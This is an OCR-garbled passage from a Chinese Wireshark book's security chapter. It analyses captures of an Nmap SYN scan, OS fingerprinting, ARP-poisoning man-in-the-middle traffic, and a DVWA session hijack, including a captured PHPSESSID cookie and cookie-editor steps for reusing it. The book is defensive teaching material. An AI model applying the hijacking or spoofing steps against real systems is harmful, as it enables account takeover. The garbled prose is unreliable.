TCP SYN #H$iKHE = PR TR, AT LA E H br LI L8 i 1 T/

260 Wireshark RS2 H7sE8k (88 3 AR)

B4bitXKensuke(18319066421) = {SEELRIY



1. Bl A TCP SYN Hudls B 3152 35 3 1) — % Vo Bl Ao 11 b, SR AR Ix
i 11 b S T IR HOEAE A . i 12-1 FoR, — B2 E FH IR AL
P, LT RE 2 i L L B

= SYN
-«+—SYN/ACK

Y

«+—SYN/ACK

Il

-<«+—SYN/ACK
wEE Fi880iHm O ZEE

= SYN >
_°
/R -t RST j—
WEHE XHA8OHmANTESE
SYN > o
/PR —
K& TiESOImOMZEE

B 12-1 —k TCP SYN a4 %

W ZEZ LA BN IRSS IEAE S W s TR T SYN Hdl 6, A el
IF) 5 % B 2 —> TCP SYN/ACK #i#fif, hse TCP &8 FHI%E & . Xt
ki 35 5t e R X AN ORI RON, HEA — AN RS AE LY. EEER T
2 RIE—> TCP ACK LA TE AR T, (R Bk IR A XA, ot
AEEENEE. L, & IFATE TR TCP 125

AR BT AR S5 AEAT R A s ST, R A B B A B SYN/ACK. #%
WRFHERERGIAFGE, Baki# rTae 2R m S K RST Hatl, Rorin
FRH T, B, BB B A BUEMIRL . 3R b AR I8 v 4 g
T BRI K, B RENAS . Ji—T5i, A AR KDy N
FEAER R R R T o RXANGE RIEH R Wi 2R AR, ERRIIIFAR,

F 125 RETHBIEESHT 261
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SR SCAF synscan.pep HEfit T H Nmap T HIET SYN HEI44 4417 . Nmap
& Fyodor B 37— @k e e I 4 A FE I o 8 AT DABAT IR e AR 3 AT o] — PP
77 7o

PATTHH SR A FE AR L5 2000 MR AL, BT PHEHA — & B,
E XAV RN R G InE 2 — k2 &7 Conversations & 1, 4118 12-2 fir
TRe TEIXH, WEFERBEE (172.16.0.8) MZEE (63.13.134.52) Z A RA
—AN1Pvd 2150, IRUEFET], MHEE 1994 > TCP i@ —@ 55 A L
B — AN 0 N — N Hr e 1

M Wireshark . Conversations - synscan - a X

Ethernet - 1 IPv4-1 IPvE TCP - 1994 UDP

Address A Port A AddressB  PortB Packets Bytes PacketsA—B BytesA—B PacketsB —A BytesB —A Rel Start Duration Bits/sA—B Bits/sB—=A *
64.13.134.52 65000 172.16.0.8 36050 1 58 0 0 1 58 1.690937000 0.000000 N/A N/A
64.13.134.52 65000 172.16.08 36051 1 58 0 0 1 58 1.820296000 0.000000 N/A N/A
64.13.134.52 52848 1721608 36050 1 58 0 0 1 58 1.821670000 0.000000 N/A N/A
64.13.13452 52848 17216.0.8 36051 1 58 0 0 1 58 1.945599000 0.000000 N/A N/A
64.13.13452 61532 1721608 36050 1 58 0 0 1 58 1.946839000 0.000000 N/A N/A
64.13.134,52 49155 172.16.08 36050 1 58 0 0 1 58 2.006228000 0.000000 N/A N/A
64.13.134.52 61532 1721608 36051 1 58 0 0 1 58 2.070465000 0.000000 N/A N/A
64.13.134.52 49155 1721608 36051 1 58 0 0 1 58 2.130300000 0.000000 N/A N/A
64.13.134,52 44176 172.16.08 36050 1 58 0 0 1 58 2.196298000 0.000000 N/A N/A
64.13.134,52 49999 172.16.08 36050 1 58 0 0 1 58 2.196434000 0.000000 N/A N/A
64.13.134.52 40911 1721608 36050 1 58 0 0 1 58 2.255375000 0.000000 N/A N/A v
[[] Name resolution [ Limit to display filter

Copy <~ | |Follow Stream... Graph... ‘ Close Help

[®] 12-2 Conversations & 2 %7 7 JEf£ #4749 TCP 812

FARE R AEAR LIS ) N SE R, R AE R 3RS IR B AR FEA 2 4K SYN
BE G NI AN . AR R R/, R KIE THEZH) SYN HiEt.
b, FRATATCLEI A JEAS, SR BRI SR IE R R

1. {£ SYN $lirp R DR 2

AL . IERITE—FBSE | MIEO—RIERNZEH 443 Ui
1 (HTTPS) [ SYN ##lif0. N T &G /& A X X AN A e 52, FRATT AT A
g —AN g Rs, DU R P R B H AR 8 443 MUE. T 2 an
W E T

(D) FERBCF RS — N EUE .

(2) 7E Packet Details [ 1 ig 7 TCP ki

(3) A5 Destination Port 7B, 4% Prepare as Filter, .17 Selected.

262 Wireshark ##EE S 4rsLhk (58 3 hip)
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(4) XKBAE filter X UEHERE — AL ESS, EMXF T H brin H N 443 1%
L, BUFE, BT T BRI L0 443 BOBdEAL, P DL Sy R 5 T ) filter
=, R BR L S dst #5547 .

E R PESS A H T AN EERE, R E KA EER TCP SYN HdE
A, WK 12-3 fix.

No. Time Source Destination Protocol  Info

32 @.000065 172.16.0.8 64.13.134.52 TCP 36051 » 443 [SYN] 5eq=3713237785 Win=2048 Len=0 MS5=1460

12-3  FREIXA SYN #E O E 5448

PSSR LA A B B, A R BESE PR e B 8 52 3 A ELE
At g8 7, B U R DG (HERZRUL, X 443 b 4 R 2 A
g .

AT LA FIRE AR et et R (0, B — B A REARMER. &
Je, R IE R S IUM Clear 1241, 152 2 AT BIERILIERS . SRIFIEBEFIR A1
59 MR X H AR H A 53 1 SYN #idlsfu, 5 DNS 5. AT
MR EIM TV, A — T Hbsum DR JERS, FEMER dst 55, XFEE RN
MRS TCP 53 i I R E T« S HX LIS, REE N 5 M
e, WK 12-4 fross

No. Time Source Destination Protocol Info

11 0.061832 64.13.134.52 172.16.0.8 TCP 53 » 36850 [SYN, ACK] Seq=1117485124 Ack=3713172249 Win=5840 Len=0 MS5=1380
529 0.857126 64.13.134.52 172.16.0.8 TCcP [TCP Retransmission] 53 » 36050 [SYN, ACK] Seq=1117405124 Ack=3713172249 Win=5840 Len=0 M55=1380

2006 3.930109 64.13.134.52 172.16.0.8 TP [TCP Retransmission] 53 » 36050 [SYN, ACK] Seq=1117405124 Ack=3713172249 Win=5840 Len=0 MS5=1380
2009 10.029025 64.13.134.52 172.16.0.8 TCcP [TCP Retransmission] 53 » 36050 [SYN, ACK] Seq=1117405124 Ack=3713172249 Win=5840 Len=0 MS55=1380

B 12-4 £ 9502 Fk 5 AN dE 6

51N RBAVER IR Z VIR SYN i, 55 2 ANk [ 52 3 & 1
Mo 3XJE—A TCP SYN/ACK i 0 —— 5t = 38 T HIAF I B . 78 1E 5
EOLR, N MR R IEYILE SYN MIENRIER ACK. SR, 7EiX
AT, Bl AR LE R, BRI A KIE N, ZEFHEET 3K
SYN/ACK BLA 3 HF23R5 AU 53 b @SR IR T SYN/ACK M v,
PR R AT T T LARA 58 A — AN IR 55 7 s T 1223 11

AEBAVELEE 13 ERRER IR X2 s H08 113 17 SYN
ol t, WEH 5 Ident PrlCA S, BEPRCH M IRC IS 43 VA B ATSG UE AR 55
WEARARAE XA Bl AR R SRRt g &, wh RIL 4 MEE L, Wil 12-5
B

F 125 RETEHMBUIEESH 263
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No. Time Source Destination Protocol  Info

5 14 0.061491 64.13.134.52 172.16.9.8 113 » 36@5@ [RST, ACK] Seq=2462244745 Ack=3713172249 Win=@ Len=0

571 0.008827 64.13.134.52 172.16.9.8 113 » 36861 [RST, ACK] 5eq=1027@049353 Ack=3696394777 Win=0 Len=8

Bl 12-5 SYN Z /5% —A RST, & ¥3% a2 XH#
B 1A EIRE VI SYN, BEELREAZELR RST. XEZEHHir
Ui AN 2 b %, RIAIR AT R A IR 5181778 L .
2. NDFBORIRE Ay 1

FEfF 7 SYN HERE s IR N RS, BIRMARSHEBI LR — D E—
T AT AT TR ) R L iy 11 FF TR IR A2 R A o B SR PRV E T Conversations &
FIN. fEXANE A, ARe] DLsE s =Y TCP 2216, Hifi Packets %1
BRI kA Rt e] ok s s SR, W’ 12-6 Fis.

M Wireshark . Conversations - synscan - [m] X
Ethernet - 1 IPv4-1 IPv6 TCP - 1994 upP
AddressA PortA AddressB  PortB Packets Bytes PacketsA—B BytesA—B PacketsB—A BytesB—A RelStart Duration Bits/sA =B  Bit A
1721608 36050 64.13.134.52 53 5 298 1 58 4 240 0.001913000 21.091302 21
1721608 36050 64.13,134.52 30 @5 298 1 58 4 240 0.129000000 21.272180 21
1721608 36050 64.13.134.52 22 5 298 1 58 4 240 1.403484000 21.681859 21
1721608 36050 64.13.134.52 13 2 18 1 58 1 60 0.065341000 0.061491 7545
1721608 36050 64.13.134.52 25 2 18 1 58 1 60 1.403154000 0.062745 7395
1721608 36050 64.13.13452 31337 @2 118 1 58 1 60 1.756214000 0.062293 7448
1721608 36061 64,13.134.52 13 2 1e 1 58 1 60 3.070317000 0.061814 7506
172.16.08 36050 64.13.134.52 70 2 18 1 58 1 60 4.016755000 0.061231 77
64.13.134.52 65000 172.16.0.8 36050 1 58 0 0 1 58 1.690937000 0.000000 N/A
64.13.134.52 65000 172.16.0.8 36051 1 58 0 0 1 58 1.820296000 0.000000 N/A
64.13.134.52 52848 1721608 36050 1 58 0 0 1 58 1.821670000 0.000000 N/A v
< >

[] Name resolution [ Limit to display filter

‘ Copy ¥ | Follow Stream... Graph... Close ‘ [ Help

B 12-6 /A Conversations & 2 F-#& 58 0

3 AR A& A2 a S s MEUREO . I/A1%05E 53, 80 i1 22
gy A2 TFALHT, RN 5 MR ER R SYN. SkREZFEHM SYN/ACK K
H 3 kEAAE,

5 ARG RAES 2 MR . 5 1 NEVITE SYN, 52 MK
H32EE ) RST. X 113, 25, 31337, 113 1 70 i L& R HIK) o

Conversations 7 I IR A 1 MUER, BWESEE VLS
MR A4 SYN . R iax S AR vl GE 2 R M, (HIRNTAGER .
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12.1.2

TR B HERAE RG B HEARKAE . T2 H AR 3R A R S
R B DRIy 5 S LA B R o F B RIS XA S8 AT B 1 Bl k)
BEANRGUR, AEH bR RGBS AT H 3%

“ERIERGHRSUR” IR BCA M EEAR RIS OL T, ORI E LA IS AT I
ERGH—HBIAR . BAERGHRGUR D MR sl zh.

L. W ARgEAR

Wesh AIF LA 747 H bR 538 R As 00 ) 2 28 7 BORBA SE H AR )
BAERGL. XTHARZ LR “#iah”, ZBD R BT H bR EHUAE K2
AL, (HIEARF B H AR REAETR R SRR, X B AR MR R AR
B, BOVEARR ik

Wt U, WATRTERET B R ENURER SRR, wlaer € e R 12 m
—HAERE RS T W, XHSAER A S . BT RFC SO E U BOFARRUE 4
ARSI, K eRA AR . B8 TCP. UDP M IP K %4> Bkl
AHEE S S AR E SO T B ERIMME . X ERE A ERAE RS SLIL
TCP/IP P BRF L AU R L 7 BOE B H CHRBRME . 3R 12-1 FIH 7 — e 5
TE RGESEHA RIH W5 B S HBME .

R 121 F Ik X8

HILLED FER ENME BIERS
P ¥4k TTL 64 Nmap. BSD. Mac OS 10, Linux
128 Novell. Windows
255 Cisco IOS. Palm OS. Solaris
1P AN Frbrd Set BSD. Mac OS 10, Linux. Novell.
Windows. Palm OS. Solaris
Not set Nmap. Cisco I0S
TCp 23195 FNGN 0 Nmap
1440 Windows. Novell
1460 BSD. Mac OS 10. Linux. Solaris
TCP RN 1024-4096 Nmap
65535 BSD. Mac OS 10
2920-5840 Linux
16384 Novell

F 125 RETEMBUEESHT 265
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5k

T SKED FR BAME

BIERS

4128
24820
pES
TCP SackOK WHE
A

Cisco 10S

Solaris

Windows

Linux. Windows. OpenBSD

Nmap. FreeBSD. Mac OS 10. Novell.
Cisco I0S. Solaris

3R SCA4 passiveosfingerprinting.pcap HH U A 2 3 T4 A i 4 44451 1
S AW . e B AR H 0 80 ) TCP SYN #dlifd, {HXKH
AR FENL AU XS EAR e e, HF25%R 12-1, RiTemc e+
FUE A E R 440 . F— N EdRara i 12-7 s

<

Internet Protocol Version 4, Src: 172.16.16.134, Dst: 168.143.162.100
©91e8 .... = Version: 4
.. 0181 = Header Length: 20 bytes
> Differentiated Services Field: @x@@ (DSCP: (S@, ECN: Not-ECT)
Total Length: 48
Identification: ex4dse (1984e)
> Flags: 0x02 (Don't Fragment)
Fragment offset: @
Time to live: 128
Protocol: TCP (6)
> Header checksum: @xaSbd [validation disabled)
Source: 172.16.16.134
Destination: 168.143.162.100
[Source GeoIP: Unknown]
[Destination GeoIP: Unknwn]

Source Port: 1176
Destination Port: 8@
[Stream index: @]

[TCP Segment Len: @]
Sequence number: 2123482830
Acknowledgment number: @
Header Length: 28 bytes

Window size value: 64240
[Calculated window size: 64240]

> Checksum: ©x3670 [validation disabled]
Urgent pointer: @

<

> Maximum segment size: 1440 bytes
> No-Operation (NOP)

> No-Operation (NOP)

> TCP SACK Permitted Option: True

A - Packet 1. p - o X
> Frame 1: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface @
> Ethernet II, Src: Vmware_f9:74:d8 (00:0c:29:f9:74:d8), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c)

Options: (8 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), SACK permitted

No.: 1« Time: 0.000000 * Source: 172.16.16.134 - Destination: 168.143.162.100 - ..h: 82 + Info: 1176 — 80 [SYN] Seq=2123482830 Win=64240 Len=0 MSS=1440 SACK_PER.

[Coose [ reo |

B 12-7 KR 8T LR RSNk B ARFRAE 2 %

266 Wireshark #iEE24rsLkk (58 3 kD)
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M Wireshark . Packet 2 - passiveosfingerprinting - ] X

> Frame 2: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface @
> Ethernet II, Src: Vmware f9:74:d8 (@@:0c:29:f9:74:d8), Dst: D-Link 21:99:4c (@@:05:5d:21:99:4c)
Vv Internet Protocol Version 4, Src: 172.16.16.134, Dst: 168.143.162.100
9108 .... = Version: 4
.. 0101 = Header Length: 28 bytes
> Differentiated Services Field: @x8@ (DSCP: (5@, ECN: Not-ECT)
Total Length: 48
Identification: @x4d8e (1954@)
> Flags: @x@2 (Don't Fragment)
Fragment offset: @
Time to live: 64
Protocol: TCP (6)
> Header checksum: @xeSbd [validation disabled]
Source: 172.16.16.134
Destination: 168.143.162.100
[Source GeoIP: Unknown]
[Destination GeoIP: Unknown]
V¥ Transmission Control Protocol, Src Port: 1176 (1176), Dst Port: 8@ (80), Seq: 212348283@, Len: @
Source Port: 1176
Destination Port: 8@
[Stream index: @]
[TCP Segment Len: @]
Sequence number: 2123482830
Acknowledgment number: @
Header Length: 28 bytes
e R e |
Window size value: 2920
[Calculated window size: 2928]
> Checksum: @x25e5 [validation disabled]
Urgent pointer: @
v Options: (8 bytes), Maximum segment size, No-Operation (NOP), No-Operation (NOP), SACK permitted
> Maximum segment size: 1460 bytes
> No-Operation (NOP)
> No-Operation (NOP)
> TCP SACK Permitted Option: True
> [SEQ/ACK analysis]

No.: 2 - Time: 0.000108 - Source: 172.16.16.134 - Destination: 168.143.162.100 -...0ut-OF-Order] 1176 — 80 [SYN] Seq=2127482830 Win=2920 Len=0 M55=1460 SACK_PE.

[ cose |[ b |

B 127 BORHE TSR EN R QI RIE A% ()

ZHR 12-1, PAVGE XA R T BN, G 73K 12-2.
#1222 RMEFABMARGHRFEES L
i sk FE HiRE 1 M HiRE 2 M

P W4 TTL 128 64

1P A bR & WE/ARE WEARE
TCP BB 1440 Bytes 1460 Bytes
TCP (RPN 64240 Bytes 2920 Bytes

TCP SackOK BB/ E BB/ E

BT IXAE(E, FATATBIMS AL AOEAWEE 1 1B%I21T Windows fH]
RETEd R, T RS HE 6 2 AL #%I84T Linux B AT et K.

FHOAE, R 122 S B SR R SR SEORIHE WARR 7T BOF A .
RESLI LR “PERE” WRta PREESMEERNMZE. il RARE
AR IR RIS BF R LR
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TE A —/ pOf 89 TEARR T HRAF R AAELORANBA, 3 T A5 RELE
QAR TR, REmETaROBMERL. BAME pof T THE, RRILGE
TREIBRAE AR RA, AL ERTMHE S MRS A AT &5,

2. FahdR8EoR

L) TR E A R R AR B A R, PR RR E DN EERMN A, X
FOTEM M “ EZhRIBLEHEIAR . ERIBEEF F 31832 F #H KIE R S 1)
B AR A LGB S, SR 5 M SO L R AN 2 FFH LSRR E R BOR . 4
W, HTRXFINEESZHEEEREGE, BT AR BRI, (Hen g
FEE &AL

3R LA activeosfingerprinting.peap 7 7 8 F Nmap F93# T H & £ 520
FeaEIp 7. SCHFRE — L2 Nmap AIEERIEE G, X e R EdE
S e B ] TR A E RS Nmap 1055 R SR I B G B 51
— MG, HIRSUEIE R LR 1R AR .

AE Nmap 1% 5 49 £ 35) XA 2 38R+ 2 2. 27 % Nmap 2o fTH#HAT £
Zh RARAME R S8 L3R, 41 Nmap 894X B35 ) ——Nmap Network Scanning.
X % Nmap 1344 & 4E4 Gordon “Fyodor” Lyon #9 &4k,

12.2 et

12.2.1 ARP

TEER 7 B, AR T ARP WSO nfapfs i 2 o i TP Mtk Bl 5t e MAC
Hhkf, 255 2 B, RATTE 7K ARP 224775 Yl /E o W EHLR E 17
%o ARP ZRAFT5 YUt M 2 TARIM s e ) TR . 4R, &6 GEAE,
BN ERE S ) A (man-in-the-middle, MITM) 57k,

£ MITM Mo, B # 5 E W 3 6 ENLIE R, R B 7R i 72
EHEES . MITM Bl 2 #E, S EF . DNS Bk, LLK SSL
Hi¥E.
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ARP AR5 e it 2 A R, A2 ROAR SAE ) ARP B 616 &
WA EAE BAEAS, Mskhs LeilE e S —ANE P M R SR a5 =
HE.

A arppoison.pcap L7 T ARP GA7i5 e i I — M+ 4FT I ERS,
B—IRAR S R IIX R E AR RIBIER . SR, RIS, e
RIFRATHZEH 172.16.0.107 £ Google FFHfTI#ZR ., MRMLE R I T
—ULE HTTP JitE, JFRI:—LE DNS &ifi.

BATHIE ARP ZAFS ek R R AR ZEMHEAR, il H2rE
Packet List [fiAR B RN, B RMERITMT 7% . Kk, FRAIAE Packet List
AR I LA, SRR .

(1) #%#% Edit->Preferences.

(2) H.ili Preferences % 1721411 Columns.

(3) i Add.

(4) $I\ Source MAC F¥%[ml 44k,

(5) ff Field type FHi%I3KHE, %+ Hw src addr (resolved).
(6) HdT T MIKIT, #3)E 3 Source 5151

(7) Hifi Add.

(8) #iIN\ Dest MAC F4% A ZE 4

(9) 1f Field type THiFFKHE, 1L+FF Hw dest addr (resolved).
(10) FdrHrsgmm i, #3)'E 2 Destination 1 J5 1 .

(11 Hii OK fEssh A AL,

M SE X LD BRI, VRIS R 8] 12-8 —FE . ARBLE N AZA B P
F, R 1B B RRIE MAC HIhEAT H A7 MAC Hidi.

WRARIEFTIF T MAC sk dr, M%7 BEAE B I MAC Hihk 3%
W' & Dell 8% Cisco BEfF. X 2REER), KL IWATR)BEA KL x
I, XEfE BRI 54 ST IR 7. FATE S| 7 — 51 ARP i &,
7E Dell EHL (ZFEH) M H B HP EHL (G #E) Zm2H, WK 12-9
PR -

F12EF ZEHJEHBIEES T 269
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M Wireshark - Preferences ? X

v Appearance

Layout Displayed Title Type Field Name Field Occurrence
Columns No. MNumber
Font and Colors| Time Time (format as specified)

Source Source address

Capture
Filter Expressions
Name Resolution

Source MAC Hw src addr (resolved)
Destination Destination address

KE R RERREE

» Protocols Dest MAC  Hw dest addr (resolved)
> Statistics Protocol Protocol
Advanced Info Information

: , B8

I oK I | Cancel | | Help

12-8 Column fe & A#, @4 T #3649k RFe B AFAE4F o hit 5]

No. Time. Source Source MAC Destination DestMAC Protocol  Info
54 4.171500 HewlettP_bf:91:ee HewlettP_bf:91:ee Dell_c@:56:f@ @ pell_co:s6:fe ARP Who has 172.16.0.1072 Tell 172.16.0.1
955 ©.000053 Dell c@:56:T@ Dell_c@:56:T@ HewlettP_bf:91:ee HewlettP_bf:91:ee ARP 172.16.0.107 is at 00:21:70:c0:56:T0
56 0.000013 HewlettP_bf:91:ee HewlettP_bf:91:ee Dell c@:56:f@ Dell c@:56:T@ ARP @) 172.16.0.1 is at 8@:25:b3:bf:91:ee

12-9 Dell % &#= HP i%& 18 41249 ARP &

FERE—BIRAN R, EE— RIS P L iim s, H13% 12-3 1

Fz12-3 B &

)= WERKE IP 33k MAC #fiiit

xZEL Dell 172.16.0.107 00:21:70:¢0:56:£0
% E 2 Cisco 172.16.0.1 00:26:0b:21:07:33
Bk HP AHN 00:25:b3:bf:91:ce

AT AERERSERNE? 2 — FRATES 6 X ARP [1i112, ARP %
PAAWMA: FRMMR, EREIE O T RG A EHL, AR
PS4 E TP HhEIHLER ) MAC Sk, 8235, ma NS BVE N RS ok 4
R EXANERT, WAONBEFH TR T —SERNHE, 20
K 12-16.
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NS
AR

T, BEE 54 72 MAC #ilkA 00:25:b3:bf:91:ee XL # K%K ARP
R, EE N IR EIE B B R IES MAC HihEA 00:21:70:¢0:56:10 1) 5% 3
HO. XMRBRERAN LT FELE ML ERE F0L, HEHMRZEEZEKR
T RER . BT EE B B IEAFOE A ol Rk R, I HAE ARP
KL E T W 1) MAC $hht, (HE B T $ b ssr P bk, AR
EHOK.

SRBE XA E 0 2 52 T R A B e B, L B MAC S 2.6 .
M SHE HIEBE L 56 B MU a2 HE Kk T — M RIER ARP
Wi &7 R L, S URE 172.16.0.1 XTREF) MAC Hidiks2 00:25:b3:bf:91:ee® . i
F&172.16.0.1 5N MAC AN 00:25:b3:bf:91:ee 1M M 1% 42 00:26:0b:31:07:33.
BRI R TE 22 1 B0 B4 SR Hh 3R AR B0 B8 th 48 172.16.0.1 52 FHH @,
FTLARRA 1408 S AR it . T ARP HHUNERI A 224t (BN ARP £
FEWORTE RIS B,  RIIAE 52 35 2 A BRI 31 2% 1 #48 H B K 18 45 I
di .

B A XS QRN FAIE LMK, Pk £ LEA A2 F1
MR, BASGEAN, EHLRNLIHBERLERHSFT GEE, B
INAREARRZLTA. ERMNEZLERGE (REH) WRT LA 2| X L&
HFE.

L
A
€
e

—HP AR, 2 E AR A R R S A BGh A, wniE 12-10
Fzs o

Hat 57 ATCAAN B IR ). AR AR ) ARP A5 2 BT A H£R
ot (Hein#dint 40, 0 12-11) SEHER, SiakBafeiksgE: (Google)
(1) IP kil & —HEH @, 5 HAR MAC HiliE #7540 T @ . MAC Hulik 784025 YR gk
17, BUAE AU AL B e & 2 AR Bl b B Bt 3

AT sy, LRSI . ERERIE, Rl E LTI
B IDS 8, B s RIS AT RN ARP RIUR IR IR« BN IRIR
FIBESAEFIH] ARP ZeA75 Yk KA 37 0 2% 1 1 et A AR 34, BirBA 1 i
AT ASE PR I A th A AR B Y
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ARPERIRIZTE (REEAE)

Who has 172.16.0.1072 Tell 172.16.0.1
TEMACHBLIE :
= 00:25:b3:bf:91:ee
BAIMACHE:
REE @ 00:21:70:¢0:56:f0 )
BEEREE /ZEEERRN 172.16.0.107 is at 00:21:70:c0:56:f0
(Cisco) W& TEMACHEAIE : Target
172.16.0.1 (HP) 00:21:70:c0:56:f0 (Dell)
00:26:0:21:07:33 00:25:b3:bF:91:ee DST MAC: 172.16.0.107

00:25:b3:bf:91:ee 00:2170:c0:56:10

172.16.0.1 is at 00:25:b3:bf:91:ee
TEMACHIE :
00:25:b3:bf:91:ee
B BIMACH1IE:
00:21:70:c0:56:f0

ARPERIRZER (MHEHITRE)

!

/RN
ERER W&E Target

12-10 ARP £.%15 33 MITM &

M Wireshark . Packet 40 - arppoison - a X

> Frame 40: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) on interface @
Vv Ethernet II, Src: Dell c@:56:f@ (00:21:70:c@:56:f@), Dst: Ciscolnc_31:07:33 (00:26:0b:31:07:33)

> Destination: CiscoInc_31:07:33 (00:26:6b:31:07:33) @

> Source: Dell c@:56:f@ (00:21:70:c0:56:f0@)
Type: IPv4 (©x0800)

Vv Internet Protocol Version 4, Src: 172.16.0.107, Dst: 74.125.95.147
0100 .... = Version: 4
.. 0101 = Header Length: 20 bytes

> Differentiated Services Field: @x@@ (DSCP: CS®, ECN: Not-ECT)
Total Length: 52
Identification: @x97bf (38847)

> Flags: @x@2 (Don't Fragment)
Fragment offset: @
Time to live: 64
Protocol: TCP (6)

> Header checksum: @x4c79 [validation disabled]
Source: 172.16.0.107
Destination: 74.125.95.147 9
[Source GeoIP: Unknown]
[Destination GeoIP: Unknown]

> Transmission Control Protocol, Src Port: 45692 (45692), Dst Port: 8@ (88), Seq: 619079507, Ack: 2814360513, Len: @

No.: 40 - Time: 0.000013 - Source: 172.16.0.107 - Source MAC: Dell c0:56:0 - Destination: 74.125.95.147 - ._.col: TCP - Info: 45692 — 80 [ACK] Seq=619079507 Ack=2814360513 Win=6912 len=0 TSval=586661 TSecr=321.

o ][ e

12-11 B 47 MAC Ho3ik 6 AL 0K 3k R R 69
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M Wireshark . Packet 57 . arppoison

> Frame 57: 96@ bytes on wire (7680 bits), 960 bytes captured (7688 bits) on interface @
Vv Ethernet II, Src: Dell c0:56:f@ (00:21:70:c@:56:f0), Dst: HewlettP_bf:91:ee (00:25:b3:bf:91:ee)
> Destination: HewlettP_bf:91:ee (8@:25:b3:bf:91:ee) @
> Source: Dell c@:56:f@ (0@:21:70:c0:56:T0)
Type: IPv4 (@x03800)
Vv Internet Protocol Version 4, Src: 172.16.0.107, Dst: 74.125.95.147
9100 .... = Version: 4
.. 8101 = Header Length: 20 bytes
» Differentiated Services Field: @x@@ (DSCP: CS@, ECN: Not-ECT)
Total Length: 946
Identification: @x3afl (15089)
> Flags: @x82 (Don’'t Fragment)
Fragment offset: @
Time to live: 64
Protocol: TCP (6)
> Header checksum: @xa5c9 [validation disabled]
Source: 172.16.8.107
Destination: 74.125.95.147 @
[Source GeoIP: Unknown]
[Destination GeoIP: Unknown]

' Hypertext Transfer Protocol

> Transmission Control Protocol, Src Port: 45691 (45691), Dst Port: 80 (808), Seq: 609865591, Ack: 1647620296, Len: 894

No.: 57 - Time: 1.906795 - Source: 172.16.0.107 - Source MAC: Dell_ c0:56:f0 - 74.125.95.14. #p: 18ech=18psi=dNQ_TOejLY_6M_Sa8lwH12792515729190 HTT

Close Help

12.2.2

E 12-11 B 4F MAC #uib o) TAHLB R Bk A A (4)

BUEAR T filt T anfr S ARP 247105 . IR R —Fi A ARP
GABRIIEOR: 2. AT, BB 51— HTTP &1k cookie,
SRIG RN T — AR FATRARBRXT HTTP cookie #EAT5%>. v 1A FIXA
HA, & ARP 2R Bk — I H ARl s, JHREIARAI &3 cookie
BR. MG, BbERem I STEUN cookie, LA R 543 i) H AR Web
IR R

XA 5t )8 5 80P 7E sessionhijacking.pcapng . IUE TS Hbx
(172.16.16.164) 5 Web N ] (172.16.16.181) Z [/ KL %R . HAAER
HUE MG OL T RO B 25, TSRS R Mt (172.16.16.154) &
BT . XL ELTE Web IS5 2% DAL, X5 oih R R AT, B 1
FE—5

KA 9 17 19] &9 Web 2 A 2 Damn Vulnerable Web Application (DVWA ). 3t
FRTRG TR % TR % A sk o7 KAVR 69 IR R, S m e A2 T AL .

P IEAS RS A A SIE AR B — NS H R P Web iR
Sde 2 (A HEAT, IS ES ip.addr == 172.16.16.164 && ip.addr ==
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172.16.16.181 Fr@Eltesif. X2 — IR KM IO @S, JRRARZ
Abo HFRFERIGE B, RATEZELEERF cookie . Flln, TEHIEE 14
() GET iR, IREAELIREERE O &I cookie, M 12-12 fiR. M
Ik, cookie f# i} PHPSESSID {8 ncobrqrb7fj2a2sinddtk567q4 @ridss
i 1D,

M Wireshark . Packet 14 - sessionhijacking - a X

> Frame 14: 602 bytes on wire (4816 bits), 602 bytes captured (4816 bits) on interface @

> Ethernet II, Src: IntelCor_f8:91:ac (f8:16:54:T8:91:ac), Dst: Vmware_d8:dd:2b (0:0c:29:d8:dd:2b)
> Internet Protocol Version 4, Src: 172.16.16.164, Dst: 172.16.16.181

> Transmission Control Protocol, Src Port: 68432 (6@432), Dst Port: 8@ (8@), Seq: 1085846135, Ack: 1765521347, Len: 536
v H ext Transfer Protoco

Host: 172.16.16.181\r\n
Connection: keep-alive\r\n
Cache-Control: max-age=8\r\n
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n
Upgrade-Insecure-Requests: 1\r\n
User-Agent: Mozilla/5.@ (Macintosh; Intel Mac 0S5 X 1@_1@_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36\r\n
Referer: http://172.16.16.181/dvwa/login.php\rin
Accept-Encoding: gzip, deflate, sdch\r\n
Accept-Language: en-US,en;q=0.8\r\n
Vv Cookie: security=impossible; PHPSESSID=ncobrqrb7fj2a2sinddtk567g4\r\n
Cookie pair: security=impossible
Coockie pair: PHPSESSID=ncobrqrb7fj2a2sinddtk567q4 o
\rin
[Full request URI: http://172.16.16.181/dvwa/index.php]
[HTTP request 1/2]
Response in frame: 19

[Next request in frame: 24]

No.: 14 - Time: 0.004048 - Source: 172.16.16.164 + Destination: 172.16.16.181 * Request Method: GET * Request URI: /dvw...ty=ir ible * Protocol: HTTP » Length: 802 - Info: GET /dvwafindex.php |

[

& 12-12 %A B 478 F #9473 cookie

W5 cookie 4E4P BN I TE S B e M—ANB P U5 inl kg,
PR — AN 221 ID T 54018300 (R PHPSESSID) . £ P SR E i 72
W, IRZ N HAER PR SE D SERREHES, E8WEFE R QM M e, ¥
216 ID VBN CIRIE 2T FEUE o AT X — ID - #REA% (6 F It R BHIE i
SRR U8, FFRFEBEMAEGE, RAE— AP e e — e 1D,
RAAE RO URAIE ID M —TE . AT, XA ALEESTE 1D 17 AL 41,
DR R % i P e G LA R 1 1D, SR JE ot S . Bl —207iknl UUHF
B ik 2 BRI R A, (ERARZ M, B4 DVWA, R REE 2 ih 3R .

ZEE WA BN BT IEE R, BUR RPN 1E cookie B
Wk FH G Wi 12-12 Fos. e, Bodisg R T2 H 57U cookie fE RITT
5 Web RS 28i 45 . AT DA I S-S A BE AR 45 2% 58 R 0 T AR, Aad, i A0 uE
PIE M2 A 8, 40 Chrome ff] Cookie & EEAR . FIFHIX/ANMEME, T al LUK
PHPSESSID ¥ B A M P i8S SRR, Wil 12-13 Fios.
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—— — — a *
== / [® Login : Damn Vulnerable = X
& 2 ¢ [ 172.16.16.181/dwwaflogin php /@ =
For quick access, place your bookmarks here on the bookmarks bar. Import bookmarks now.. [fellcom Options
Show : All Sub Domains Current Domain

Sea
—

DVWA,

Username

Password

ren - |

» Add New Cookie
172.16.16.181

Value
Domain
Path
Store ID
¥ H

@ H

